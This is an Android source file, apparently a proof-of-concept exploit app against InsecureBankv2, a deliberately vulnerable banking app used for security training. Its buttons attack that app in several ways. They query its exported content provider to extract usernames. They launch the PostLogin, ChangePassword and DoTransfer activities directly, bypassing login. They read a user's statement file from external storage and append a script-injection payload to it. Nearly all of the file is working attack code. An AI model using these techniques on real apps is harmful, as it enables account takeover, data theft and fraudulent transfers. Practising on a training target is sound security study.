1+ package com .ayboraa .ibv2poc ;
2+
3+ import android .content .Intent ;
4+ import android .database .Cursor ;
5+ import android .net .Uri ;
6+ import android .os .Bundle ;
7+ import android .os .Environment ;
8+ import android .widget .Button ;
9+ import android .widget .TextView ;
10+ import android .widget .Toast ;
11+
12+ import androidx .activity .EdgeToEdge ;
13+ import androidx .appcompat .app .AppCompatActivity ;
14+ import androidx .core .graphics .Insets ;
15+ import androidx .core .view .ViewCompat ;
16+ import androidx .core .view .WindowInsetsCompat ;
17+
18+ import java .io .BufferedReader ;
19+ import java .io .File ;
20+ import java .io .FileReader ;
21+ import java .io .FileWriter ;
22+ import java .io .IOException ;
23+
24+ public class MainActivity extends AppCompatActivity {
25+
26+
27+ private String usernameFound = "" ;
28+
29+
30+ @ Override
31+ protected void onCreate (Bundle savedInstanceState ) {
32+ super .onCreate (savedInstanceState );
33+
34+
35+ EdgeToEdge .enable (this );
36+ setContentView (R .layout .activity_main );
37+ ViewCompat .setOnApplyWindowInsetsListener (findViewById (R .id .main ), (v , insets ) -> {
38+ Insets systemBars = insets .getInsets (WindowInsetsCompat .Type .systemBars ());
39+ v .setPadding (systemBars .left , systemBars .top , systemBars .right , systemBars .bottom );
40+ return insets ;
41+ });
42+
43+ Button providerButton = findViewById (R .id .btn_provider );
44+ providerButton .setOnClickListener (v -> {
45+ try {
46+ Uri uri = Uri .parse ("content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers" );
47+ Cursor cursor = getContentResolver ().query (uri , null , null , null , null );
48+ if (cursor != null && cursor .moveToFirst ()) {
49+ StringBuilder data = new StringBuilder ();
50+ do {
51+ int nameIndex = cursor .getColumnIndex ("name" );
52+ if (nameIndex != -1 ) {
53+ String nameValue = cursor .getString (nameIndex );
54+ data .append ("Name: " ).append (nameValue ).append ("\n " );
55+ if (usernameFound .equals ("" )) {
56+ TextView usernameText = (TextView ) this .findViewById (R .id .txt_username );
57+ usernameText .setText ("Account found:" + nameValue );
58+ usernameFound = nameValue ;
59+ }
60+ } else {
61+ data .append ("Column 'name' not found\n " );
62+ }
63+ } while (cursor .moveToNext ());
64+ Toast .makeText (this , "Extracted Data:\n " + data .toString (), Toast .LENGTH_LONG ).show ();
65+ cursor .close ();
66+ } else {
67+ Toast .makeText (this , "No data found or query failed" , Toast .LENGTH_LONG ).show ();
68+ if (cursor != null ) cursor .close ();
69+ }
70+ } catch (Exception e ) {
71+ Toast .makeText (this , "Error: " + e .getMessage (), Toast .LENGTH_LONG ).show ();
72+ e .printStackTrace ();
73+ }
74+ });
75+
76+ Button postLoginButton = findViewById (R .id .btn_postlogin );
77+
78+ postLoginButton .setOnClickListener (v -> {
79+ Intent intent = new Intent ();
80+ intent .setClassName ("com.android.insecurebankv2" , "com.android.insecurebankv2.PostLogin" );
81+ try {
82+ startActivity (intent );
83+ } catch (Exception e ) {
84+ String errorMsg = "Error launching PostLogin: " + e .toString ();
85+ Toast .makeText (this , errorMsg , Toast .LENGTH_LONG ).show ();
86+ e .printStackTrace ();
87+ }
88+ });
89+
90+ Button changePassButton = findViewById (R .id .btn_changepass );
91+
92+ changePassButton .setOnClickListener (v -> {
93+ Intent intent = new Intent ();
94+ intent .setClassName ("com.android.insecurebankv2" , "com.android.insecurebankv2.ChangePassword" );
95+ intent .putExtra ("uname" , "test" );
96+ try {
97+ startActivity (intent );
98+ } catch (Exception e ) {
99+ String errorMsg = "Error launching ChangePassword: " + e .toString ();
100+ Toast .makeText (this , errorMsg , Toast .LENGTH_LONG ).show ();
101+ e .printStackTrace ();
102+ }
103+ });
104+ Button doTransferButton = findViewById (R .id .btn_dotransfer );
105+
106+ doTransferButton .setOnClickListener (v -> {
107+ Intent intent = new Intent ();
108+ intent .setClassName ("com.android.insecurebankv2" , "com.android.insecurebankv2.DoTransfer" );
109+ try {
110+ startActivity (intent );
111+ } catch (Exception e ) {
112+ String errorMsg = "Error launching DoTransfer: " + e .toString ();
113+ Toast .makeText (this , errorMsg , Toast .LENGTH_LONG ).show ();
114+ e .printStackTrace ();
115+ }
116+ });
117+ Button transferHistoryButton = findViewById (R .id .btn_history );
118+
119+ transferHistoryButton .setOnClickListener (v -> {
120+ try {
121+
122+ String filePath = Environment .getExternalStorageDirectory () + "/Statements_" + usernameFound + ".html" ;
123+ File file = new File (filePath );
124+ if (file .exists ()) {
125+ StringBuilder content = new StringBuilder ();
126+ BufferedReader reader = new BufferedReader (new FileReader (file ));
127+ String line ;
128+ while ((line = reader .readLine ()) != null ) {
129+ content .append (line ).append ("\n " );
130+ }
131+ reader .close ();
132+ Toast .makeText (this , "Transfer History:\n " + content .toString (), Toast .LENGTH_LONG ).show ();
133+ } else {
134+ Toast .makeText (this , "No statements file found for " + usernameFound , Toast .LENGTH_LONG ).show ();
135+ }
136+
137+ } catch (Exception e ) {
138+ Toast .makeText (this , e .toString (), Toast .LENGTH_LONG ).show ();
139+ e .printStackTrace ();
140+ }
141+ });
142+
143+
144+ Button javascriptButton = findViewById (R .id .btn_javascript );
145+
146+ javascriptButton .setOnClickListener (v -> {
147+ try {
148+
149+ String filePath = Environment .getExternalStorageDirectory () + "/Statements_" + usernameFound + ".html" ;
150+ File file = new File (filePath );
151+ if (file .exists ()) {
152+ try {
153+ // Read the file content
154+ FileReader fileReader = new FileReader (file );
155+ StringBuilder content = new StringBuilder ();
156+ int character ;
157+ while ((character = fileReader .read ()) != -1 ) {
158+ content .append ((char ) character );
159+ }
160+ fileReader .close ();
161+
162+ content .append ("<script>alert(\" Injected!\" )</script>" );
163+
164+ // Write the modified content back to the file
165+ FileWriter fileWriter = new FileWriter (file );
166+ fileWriter .write (content .toString ());
167+ fileWriter .close ();
168+
169+ // Notify the user
170+ Toast .makeText (this , "File modified successfully!" , Toast .LENGTH_LONG ).show ();
171+ } catch (IOException e ) {
172+ e .printStackTrace ();
173+ Toast .makeText (this , "Error modifying the file." , Toast .LENGTH_LONG ).show ();
174+ }
175+
176+ } else {
177+ Toast .makeText (this , "No statements file found for " + usernameFound , Toast .LENGTH_LONG ).show ();
178+ }
179+
180+ } catch (Exception e ) {
181+ Toast .makeText (this , e .toString (), Toast .LENGTH_LONG ).show ();
182+ e .printStackTrace ();
183+ }
184+ });
185+
186+
187+
188+ }
189+ }
0 commit comments